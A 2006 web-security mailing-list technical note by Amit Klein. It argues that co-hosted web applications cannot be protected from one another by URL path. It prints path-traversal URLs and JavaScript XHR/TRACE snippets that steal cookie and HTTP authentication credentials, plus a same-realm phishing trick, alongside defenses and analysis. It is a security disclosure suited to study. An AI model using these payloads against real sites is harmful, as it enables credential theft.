[WEB SECURITY] Technical Note by Amit Klein: "Path Insecurity"
Amit Klein (AKsecurity)
aksecurity at hotpop.com
Wed Mar 1 01:50:41 EST 2006
Path Insecurity
Amit Klein, March 2006
Preface
=======
This technical note was written as a result of a private
discussion between Ivan Ristic and the author. It all began when
Ivan made a comment about path insecurity, which made me spend
some time on these issues and reach the sad conclusion summarized
in the write-up's title. Anyway, I owe Ivan my interest in the
problem, as well as some of the technical details presented below
- so thank you Ivan!
Introduction
============
The problem at hand is as following: assuming two entities, "Foo"
and "Bar", which reside on the same host (same hostname, to be
more precise), is it at all possible to provide ANY kind of
security to them, given that they're "hostile" to each other? Foo
and Bar may be applications, users, partners, etc., and the URLs
used throughout this document are http://www.some.site/foo/...
and http://www.some.site/bar/... respectively (it seems that
using HTTPS instead of HTTP has no significance to this problem,
hence HTTP will be assumed for simplicity). Without loss of
generality, we assume that Foo wants to attack Bar.
The trivial attacks
===================
Hopefully this is obvious, but in order to focus the discussion,
it is first needed to observe that a window loaded with URL
http://www.some.site/bar/page1.html can be both fully read and
fully written by a window opened with
http://www.some.site/foo/attack1.html, by means of the latter
incorporating a Javacript code that obtains a handle H for the
Bar window, and then reads or assigns to
H.document.body.innerHTML. Likewise the document URL
(H.document.URL), the history collection of this window
(H.history - actually, the way to exploit this is to traverse the
history list via iterative application of the prev() and next()
operations, each time reading the URL via H.document.URL) and the
document referrer (H.document.referrer) can be accessed. It
should be very clear that this is a fundamental security issue,
enabling Foo to attack Bar and to fool Bar's user easily by
changing data/events in Bar's page and reading sensitive data off
the page.
To be explicit: everything that can be typically achieved with
cross site scripting and cross site request forgery [1] can be
done so in this situation, and with much greater convenience,
since the attacker is already on the same domain (and host) with
the target, and has full access to the windows of the target
application.
Let us assume then that we only need to protect Bar's
credentials, be they in cookies or in HTTP basic authentication.
Of course, resorting to this means that we give up most of the
security we can hope for, but still, for academic purposes (and
for some practical purposes too) let's only focus on credentials
security. Note that if Bar is careful enough with the way it
assigns cookies, i.e. by setting the cookie path to /bar/, Bar
can prevent Foo to access the cookies directly. The HTTP
authentication credentials provided for /bar/ will not be
transmitted automatically to pages outside the /bar/ folder.
A practical justification for researching this could be as
following: obtaining the credentials themselves may sometimes be
more important than attacking any other part of the application.
Consider "single sign-on" situation, in which the same
credentials are used in many applications - attacking the
application at hand may be not interesting (it may be a "read
only" application), yet obtaining the credentials and using them
in another application may be very rewarding.
Now, again an obvious attack is to read the cookies from
H.document.cookie. If no such handle can be obtained, then it's
still possible for http://www.some.site/foo/attack1.html to open
a window to some page in /bar/, e.g.
http://www.some.site/bar/page2.html, and now that a handle
exists, to use it to read the cookies in /bar/ folder. If it is
totally impossible to open a window, then perhaps the "voluntary"
HTTP Response Splitting method described in [2] (p. 26) can be
used.
HTTP Basic Authentication
=========================
A less obvious attack (described in [3]) is against HTTP basic
authentication (RFC 2617 [4]). Assume that the user browsed to
/bar/somewhere, and authenticated to that page via HTTP basic
authentication. A browser is allowed to automatically send the
credentials only for pages outside /bar/, as stated in [4]
section 2:
A client SHOULD assume that all paths at or deeper than the
depth of the last symbolic element in the path field of the
Request-URI also are within the protection space specified
by the Basic realm value of the current challenge. A client
MAY preemptively send the corresponding Authorization
header with requests for resources in that space without
receipt of another challenge from the server.
IE 6.0 SP2 and Mozilla Firefox 1.5 comply with the above, and
will send credentials automatically just for resources under
/bar/.
However, the same RFC, section 1.2 also states:
The realm directive (case-insensitive) is required for all
authentication schemes that issue a challenge. The realm
value (case-sensitive), in combination with the canonical
root URL [...] of the server being accessed, defines the
protection space.
[...]
The protection space determines the domain over which
credentials can be automatically applied. If a prior
request has been authorized, the same credentials MAY be
reused for all other requests within that protection space
[...].
Meaning that a browser is allowed to send the credentials for
resources that require authentication (i.e. return a 401
response), with the same realm (and host, of course) as the one
used by Bar (note that the canonical root URL for both
http://www.some.site/bar/someplace and
http://www.some.site/foo/... is http://www.some.site/). So Foo
needs simply to know the realm string used by Bar, set up a
resource http://www.some.site/foo/attack2.cgi that requires
authentication, and that declares the same realm as Bar. Foo then
sends this link (http://www.some.site/foo/attack2.cgi) to the
user after he/she authenticates with Bar.
This attack works both with Microsoft IE 6.0 SP2 and Mozilla
Firefox 1.5.
A defense against this attack can be as following: Bar needs to
send out a cryptographically strong random realm string for every
hit to a resource that requires authentication, where the hit is
without valid credentials. This solution is practical because (as
mentioned above) the browsers do send the credentials
preemptively for any resource under /bar/ once credentials were
provided for a resource directly under /bar/. So the user will
asked for Bar's credentials only once, and won't be bugged each
and every time a Bar resource is requested. Since Foo cannot
predict the realm string, and since there's no way to get hold of
the realm (by means of a Javascript code, for example), Foo
cannot craft a resource with the same realm string.
Apparently, using randomized realms (albeit for other purposes -
e.g. for a simulated session expiration and log-out) was
experimented by Ivan Ristic (and perhaps others).
The fundamental flaw
====================
It may seem at this point that HTTP Basic authentication
credentials are safe (using the random realm string technique),
and likewise, that HttpOnly cookies are safe. Unfortunately, this
is nowhere near reality.
You see, at the end of the day, the "security" provided by
cookies and HTTP Basic Authentication for two co-hosted entities
relies solely on the separation by path of those entities. And we
trust the browser to perform this separation in a trustworthy
manner. Yet there are too many ways to bypass this separation,
i.e. to make the browser send a request to Foo while it thinks it
sends this request to Bar. This is, of course, a fundamental
flaw, since if the browser thinks it sends the request to Bar, it
will accompany the request with Bar's credentials, and these will
in fact be forwarded to Foo. Again, this pertains to both HTTP
Basic Authentication and to cookies.
Attack 1 - using the classic tricks
-----------------------------------
Many web servers can be tricked to invoke a resource (script) at
/foo/ even though the URL appears to be for a resource at /bar/,
the below is a partial list of the most common (and well known)
such tricks.
* The URL encoding trick (works with most web servers)
http://www.some.site/bar/%2e%2e/foo/collect.cgi
IE 6.0 SP2 will send this link to Foo with Bar's
credentials. Firefox 1.5 will canonicalize into
http://www.some.site/foo/collect.cgi
* Backslashes (works in many Windows-based servers,
particularly IIS)
http://www.some.site/bar/baz\..\../foo/collect.cgi
Firefox will send this link to Foo with Bar's credentials.
IE 6.0 SP2 will canonicalize into
http://www.some.site/foo/collect.cgi
* %uHHHH (IIS specific extension)
http://www.some.site/bar/%u002e%u002e/foo/collect.cgi
Both browsers will send this to Foo with Bar's credentials.
* Overlong UTF-8 encoding of a dot (may work with some
servers, works with old IIS)
http://www.some.site/bar/%c0%ae%c0%ae/foo/collect.cgi
Both browsers will send this to Foo with Bar's credentials.
* Double-encoded dot (may work with some servers, works with
old IIS)
http://www.some.site/bar/%252e%252e/foo/collect.cgi
Both browsers will send this to Foo with Bar's credentials.
Attack 2 - using XmlHttpRequest (XHR)
-------------------------------------
Since both Foo and Bar reside on the same host, XHR can be used
by Foo to access Bar's credentials, using the notorious TRACE
HTTP method (see [5] and [6]). The following works with IE 6.0
SP2 (notice the need to prefix the TRACE with CRLF, and the Max-
Forwards header - both explained in [6]):
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("\r\nTRACE","/bar/someplace",false);
x.setRequestHeader("Max-Forwards","0");
x.send();
alert(x.responseText);
The following works with Firefox v<=1.0.6
var x = new XMLHttpRequest();
x.open("TRACE","/bar/someplace",false);
x.setRequestHeader("Max-Forwards","0");
x.send("");
alert(x.responseText);
Moreover, the following Javascript code uses XHR differently to
fool the browser into sending the request with Bar's credentials
directly to Foo, as explained in [7] and [8] (works with IE 6.0
SP2, may not work with some web servers):
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET\t/foo/collect.cgi\tHTTP/1.0\r\nDummyHeader:",
"/bar/someplace",false);
x.send();
Note that the TRACE-based attacks can be used not only when Foo
is a malicious application (or is fully owned by the attacker),
but also when a cross site scripting condition is present at Foo,
because they do not rely on a server-based resource (script) to
collect the credentials - the credentials can be collected at the
client side.
HTTP Digest authentication
==========================
[3] suggests using HTTP Digest Authentication [4]. It is more
secure than basic authentication (or cookies) because the shared
secret (password, and possibly the username too) is always
transmitted in a one-way hashed (based on MD5) form.
However, it is not 100% secure because the MD5-hashed credentials
can be obtained in the ways described above, and then attacked
(using a dictionary) off-line. This (brute force/dictionary
weakness) is mentioned in [4] section 4.7. Note also that there
are other methods in which the credentials can be obtained, such
as fooling the user to provide the details to a rogue site using
a similar interface.
In fact, the same realm trick and the path tricks still work with
digest authentication (verified with Microsoft IE 6.0 SP2 and
Mozilla Firefox 1.5). The XHR based attacks do not work with
Firefox 1.5 in the first place, and they also do not work with IE
6.0 SP2 because it seems that IE 6.0 SP2 will only send the
digest Authorization with requests that make use of a close set
of HTTP methods (such as GET and POST). Moreover, the Host header
modification technique described in [8] for IE 6.0 SP1 apparently
have been fixed in SP2, so this XHR trick cannot be used as well.
Conclusions
===========
There is no such thing as path security. Two entities that share
the same host cannot be defended from each other. At best, the
username and password can be kept secret using HTTP digest
authentication, but even that is not too secure (due to the
ability to brute force the data in offline).
References
==========
[1] "Cross Site Request Forgery", Peter Watkins, BugTraq posting,
June 13th, 2001
http://www.tux.org/~peterw/csrf.txt
[2] "Divide and Conquer - HTTP Response Splitting, Web Cache
Poisoning Attacks, and Related Topics", Amit Klein, March 4th
2004
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf
[3] "Apache Security", Ivan Ristic, O'reilly Media, March 2005.
pp. 132-133.
[4] "HTTP Authentication: Basic and Digest Access
Authentication", RFC 2617, June 1999
http://www.ietf.org/rfc/rfc2617.txt
[5] "Cross Site Tracing", Jeremiah Grossman, WhiteHat Security
whitepaper, January 20th, 2003
http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf
[6] "XST Strikes Back", Amit Klein, BugTraq posting, January
25th, 2006
http://www.securityfocus.com/archive/1/423028
[7] "Exploiting the XmlHttpRequest object in IE - Referrer
spoofing, and a lot more...", Amit Klein, BugTraq posting,
September 24th, 2005
http://www.securityfocus.com/archive/1/411585
[8] "XS(T) attack variants which can, in some cases, eliminate
the need for TRACE", Amit Klein, WebAppSec posting, January 26th,
2003
http://www.securityfocus.com/archive/107/308433
---------------------------------------------------------------------
The Web Security Mailing List
http://www.webappsec.org/lists/websecurity/
The Web Security Mailing List Archives
http://www.webappsec.org/lists/websecurity/archive/
More information about the websecurity
mailing list